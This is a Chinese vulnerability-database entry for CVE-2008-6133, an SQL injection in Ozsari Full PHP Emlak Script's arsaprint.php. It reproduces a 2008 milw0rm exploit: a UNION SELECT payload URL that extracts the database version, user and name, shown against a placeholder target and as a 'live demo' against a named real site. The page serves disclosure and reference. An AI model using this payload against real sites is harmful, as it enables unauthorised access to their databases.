Ozsari Full PHP Emlak Script 'arsaprint.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116331 漏洞类型 SQL注入
发布时间 2008-10-03 更新时间 2009-02-23
CVE编号 CVE-2008-6133 CNNVD-ID CNNVD-200902-303
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6659
https://www.securityfocus.com/bid/31558
https://cxsecurity.com/issue/WLB-2009020183
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-303
|漏洞详情
FullPHPEmlakScript的arsaprint.php中存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。
|漏洞EXP
|___________________________________________________|
|
| Full PHP Emlak Script (arsaprint.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                                                                     |
|
| script : http://php.arsivimiz.com/Kategoriler/PHP/alisveris
| 
| DorK   : :)
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




L!VE DEMO:
_________


http://www.ozsarigrup.com/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-03]
|受影响的产品
Ozsari Grup Full PHP Emlak Script 0
|参考资料

来源:XF
名称:fullphpemlak-arsaprint-sql-injection(45643)
链接:http://xforce.iss.net/xforce/xfdb/45643
来源:MILW0RM
名称:6659
链接:http://www.milw0rm.com/exploits/6659